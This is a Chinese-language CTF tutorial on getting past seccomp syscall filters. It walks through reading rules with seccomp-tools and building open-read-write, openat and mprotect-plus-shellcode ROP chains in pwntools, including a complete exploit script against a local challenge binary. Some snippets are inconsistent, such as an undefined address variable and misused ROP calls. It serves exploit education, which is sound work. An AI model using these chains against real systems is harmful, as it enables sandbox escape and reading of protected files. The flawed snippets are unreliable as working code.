seccomp沙箱
seccomp沙箱
本文适合
已经能控制 RIP 或构造 ROP,但 system("/bin/sh")、execve 或 shellcode 在远程被 kill 的 Pwn 学习者。学完你能:用 seccomp-tools 读懂 syscall 过滤规则,并把利用目标从起 shell 改成 ORW、openat、mprotect 或允许的 syscall 链
seccomp 是 Linux 的系统调用过滤机制。Pwn 题里它常用来限制程序能调用哪些 syscall,从而让常规 execve("/bin/sh") 失效。
syscall 是什么
用户态程序不能直接操作内核资源。
打开文件、读写文件、创建进程、网络通信等操作需要通过系统调用进入内核。
常见 syscall 包括:
read
write
open
openat
execve
mprotect
mmap
exitPwn 利用最终往往要通过 syscall 完成目标动作。
seccomp 做什么
seccomp 可以限制程序允许使用哪些 syscall。
如果过滤规则禁止 execve,即使你能控制 RIP,也可能无法直接拿 shell。
如果只允许 read、write、open,利用目标就可能从“起 shell”变成“读 flag 文件并输出”。
所以 seccomp 会改变利用目标和 ROP 链形态。
白名单和黑名单
白名单只允许少数 syscall,其他全部禁止。
黑名单禁止少数 syscall,其他默认允许。
CTF 中白名单更常见,因为它能强迫你按题目允许的系统调用完成目标。
分析 seccomp 时,不要只看有没有沙箱,要看规则到底允许什么。
常见利用变化
路线总览:
没有 seccomp 时,目标常是 system("/bin/sh") 或 execve("/bin/sh")。
有 seccomp 时,目标可能变成:
open("flag")
read(fd, buf, size)
write(1, buf, size)如果 open 被禁但 openat 允许,要换 syscall。
如果 mprotect 允许,可以考虑改内存权限后执行 shellcode。
seccomp 和 ROP
seccomp 不阻止你构造 ROP。
它阻止的是 ROP 最终调用被禁止的 syscall。
因此 seccomp 题经常要求你构造 syscall ROP,控制寄存器:
rax syscall number
rdi 第一个参数
rsi 第二个参数
rdx 第三个参数这和 ROP基础 的参数控制直接相连。
常见误区
- 看到能 ROP 就还想直接
system("/bin/sh")。 - 不检查允许的 syscall。
- 只知道
open,不知道openat。 - 忽略架构差异导致 syscall number 不同。
- 把 seccomp 当成不能利用,而不是改变利用目标。
seccomp 规则分析工具
seccomp-tools
# 安装
gem install seccomp-tools
# 分析 seccomp 规则
seccomp-tools dump ./vuln
# 输出示例:
# line CODE JT JF K
# =================================
# 0000: 0x20 0x00 0x00 0x00000004 A = arch
# 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
# 0002: 0x20 0x00 0x00 0x00000000 A = sys_number
# 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
# 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0007
# 0005: 0x15 0x03 0x00 0x0000003b if (A == execve) goto ALLOW
# 0006: 0x15 0x02 0x00 0x00000000 if (A == read) goto ALLOW
# 0007: 0x06 0x00 0x00 0x00000000 return KILL
# 0008: 0x06 0x00 0x00 0x7fff0000 return ALLOWseccomp-tools 更多用法
# 从 core dump 分析
seccomp-tools dump ./core
# 从 strace 分析
seccomp-tools dump -f json ./vuln
# 输出为不同格式
seccomp-tools dump ./vuln -f json
seccomp-tools dump ./vuln -f asm手动分析 BPF 字节码
# 使用 Python 解析 BPF
def parse_seccomp(data):
"""解析 BPF 字节码"""
rules = []
for i in range(0, len(data), 8):
code = int.from_bytes(data[i:i+2], 'little')
jt = data[i+2]
jf = data[i+3]
k = int.from_bytes(data[i+4:i+8], 'little')
rules.append((code, jt, jf, k))
return rulesopen-read-write (ORW) 链
当 execve 被禁止时,使用 ORW 读取 flag:
from pwn import *
context.arch = 'amd64'
# 构造 ORW ROP 链
def orw_chain(flag_addr):
rop = ROP(elf)
# open("flag", 0) # O_RDONLY = 0
rop.call(pop_rdi)
rop.call(flag_addr) # "flag" 字符串地址
rop.call(pop_rsi_r15)
rop.call(0) # O_RDONLY
rop.call(0)
rop.call(open_addr)
# read(fd, buf, 0x100)
rop.call(pop_rdi)
rop.call(3) # fd 通常是 3
rop.call(pop_rsi_r15)
rop.call(bss_addr) # 缓冲区
rop.call(0)
rop.call(pop_rdx)
rop.call(0x100)
rop.call(read_addr)
# write(1, buf, 0x100)
rop.call(pop_rdi)
rop.call(1) # stdout
rop.call(pop_rsi_r15)
rop.call(bss_addr) # 同一个缓冲区
rop.call(0)
rop.call(pop_rdx)
rop.call(0x100)
rop.call(write_addr)
return rop.chain()直接使用 syscall
# 如果程序中有 syscall 指令,可以直接构造
def orw_syscall(flag_path):
rop = b'A' * offset
# open("flag", 0)
rop += p64(pop_rax)
rop += p64(2) # SYS_open
rop += p64(pop_rdi)
rop += p64(flag_addr)
rop += p64(pop_rsi)
rop += p64(0)
rop += p64(syscall_ret)
# read(fd, buf, size)
rop += p64(pop_rax)
rop += p64(0) # SYS_read
rop += p64(pop_rdi)
rop += p64(3)
rop += p64(pop_rsi)
rop += p64(bss_addr)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall_ret)
# write(1, buf, size)
rop += p64(pop_rax)
rop += p64(1) # SYS_write
rop += p64(pop_rdi)
rop += p64(1)
rop += p64(pop_rsi)
rop += p64(bss_addr)
rop += p64(pop_rdx)
rop += p64(0x100)
rop += p64(syscall_ret)
return rop使用 pwntools Shellcraft
from pwn import *
context.arch = 'amd64'
# pwntools 提供了便捷的 shellcraft
orw = shellcraft.open('flag')
orw += shellcraft.read('fd', 'rsp', 0x100)
orw += shellcraft.write(1, 'rsp', 0x100)
# 编译为字节码
orw_bytes = asm(orw)沙箱逃逸技巧
利用 openat 绕过 open 禁用
# 如果 open 被禁但 openat 允许
# openat(AT_FDCWD, "flag", O_RDONLY)
# AT_FDCWD = -100 = 0xffffff9c
def openat_rop():
rop = b'A' * offset
rop += p64(pop_rax)
rop += p64(257) # SYS_openat
rop += p64(pop_rdi)
rop += p64(-100 & 0xffffffff) # AT_FDCWD
rop += p64(pop_rsi)
rop += p64(flag_addr)
rop += p64(pop_rdx)
rop += p64(0) # O_RDONLY
rop += p64(syscall_ret)
return rop利用 mprotect 执行 shellcode
# 如果 mprotect 允许,可以修改内存权限后执行 shellcode
def mprotect_rop():
# mprotect(地址, 大小, 权限)
# PROT_READ | PROT_WRITE | PROT_EXEC = 7
rop = b'A' * offset
# mprotect(bss_page, 0x1000, 7)
rop += p64(pop_rax)
rop += p64(10) # SYS_mprotect
rop += p64(pop_rdi)
rop += p64(bss_page) # 页对齐地址
rop += p64(pop_rsi)
rop += p64(0x1000)
rop += p64(pop_rdx)
rop += p64(7) # RWX
rop += p64(syscall_ret)
# 跳转到 shellcode
rop += p64(bss_page)
return rop完整 ORW 利用示例
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./vuln')
elf = ELF('./vuln')
# 分析 seccomp 规则
# seccomp-tools dump ./vuln
# 发现只允许 read, write, open, openat
# 准备字符串
flag_path = b'flag\x00'
# 构造 ORW payload
pop_rax = 0x401234
pop_rdi = 0x401235
pop_rsi = 0x401236
pop_rdx = 0x401237
syscall_ret = 0x401238
bss_addr = 0x601000
# 写入 flag 字符串到 .bss
# ... (通过 read 或其他方式)
# 构造 ROP
payload = b'A' * 72
# open("flag", 0)
payload += p64(pop_rax)
payload += p64(2)
payload += p64(pop_rdi)
payload += p64(flag_string_addr)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(syscall_ret)
# read(3, buf, 0x100)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(bss_addr)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(syscall_ret)
# write(1, buf, 0x100)
payload += p64(pop_rax)
payload += p64(1)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(bss_addr)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(syscall_ret)
p.sendline(payload)
p.interactive()一句话判断
如果控制流已经劫持成功,但执行 system("/bin/sh")、execve 或某个 syscall 后进程被 kill,就先检查 seccomp 规则。
seccomp 不否定 Pwn 利用,它改变最终目标:从交互 shell 变成“按允许的 syscall 读出 flag”。
题目中常见信号
seccomp-tools dump能看到 BPF 过滤规则。- 程序调用
prctl(PR_SET_SECCOMP, ...)或seccomp(...)。 - 远程执行 shell payload 后直接断开,没有普通崩溃栈。
- 题目提示 sandbox、jail、syscall filter。
- 允许
read/write/open/openat,禁止execve。 - 需要 ORW、SROP 或 syscall ROP。
核心概念
seccomp 规则通常是 syscall 白名单或黑名单:
ALLOW: read, write, open, exit
KILL: execve, mprotect, mmap, ...利用策略要从规则反推:
允许 execve -> 可以拿 shell
禁止 execve 但允许 open/read/write -> ORW 读 flag
禁止 open 但允许 openat -> openat(AT_FDCWD, "flag", 0)
允许 mprotect -> 改权限执行 shellcode最小分析流程
seccomp-tools dump ./vuln导出规则。- 记录架构检查,确认 syscall number 对应 x86-64/i386/ARM64。
- 列出允许 syscall 和默认动作:ALLOW、KILL、ERRNO、TRACE。
- 选择目标:shell、ORW、mprotect、mmap、sendfile。
- 检查是否有
syscall; ret或可调用 libc wrapper。 - 准备字符串和缓冲区,例如
.bss中的flag\x00。 - 用 ROP基础、SROP基础 或 shellcode与syscall 组织链。
- 调试每个 syscall 返回值,确认不是被过滤或参数错误。
最小验证示例
seccomp-tools dump ./vuln看到:
ALLOW read
ALLOW write
ALLOW openat
KILL execve对应最小链:
openat(-100, "flag", 0)
read(fd, bss, 0x100)
write(1, bss, 0x100)成功标准:execve 不再作为目标;每个允许 syscall 都有明确编号、参数寄存器和返回值检查。
常见利用 / 解题路线
路线总览:
路线一:ORW ROP
最常见。适合有 open/read/write 或 openat/read/write 的白名单。
路线二:SROP ORW
gadget 不足时,用 SROP基础 一次性设置寄存器。
路线三:mprotect + shellcode
如果 mprotect 允许,可以先把 .bss 或栈页改成 RWX,再跳 shellcode。
路线四:sendfile
如果允许 sendfile,可以减少 read/write gadget 需求:
open -> sendfile(1, fd, 0, size)路线五:openat 替代 open
新环境常用 openat:
rdi = AT_FDCWD = -100
rsi = &"flag"
rdx = O_RDONLY常见失败原因
- 没看规则默认动作:白名单和黑名单含义相反。
- syscall 编号错:x86-64 的
openat=257,i386 不同。 - 继续用 system:
system内部最终会走execve,仍被禁。 - fd 写死为 3:如果程序已打开其他文件,fd 可能不是 3。
- flag 路径错:尝试
flag、./flag、/flag、flag.txt。 - 字符串没写入可读内存:
rdi/rsi指向无效地址会返回-EFAULT。 - 寄存器没清零:flags/mode 参数不对导致 open/openat 失败。
迷你案例
题目能栈溢出,checksec 正常,但 ret2libc system("/bin/sh") 一执行远程断开。seccomp-tools dump 显示:
allow read
allow write
allow open
kill execve修正路线:
写入 "flag\x00" 到 .bss
open(.bss, 0)
read(3, .bss+0x100, 0x80)
write(1, .bss+0x100, 0x80)WP 要写明:失败不是 libc 地址错,而是 execve 被 seccomp 禁止;目标改为 ORW 后链路闭合。调试时还要记录每一步 syscall 的返回值,负数返回先修参数,不要直接进入下一阶段。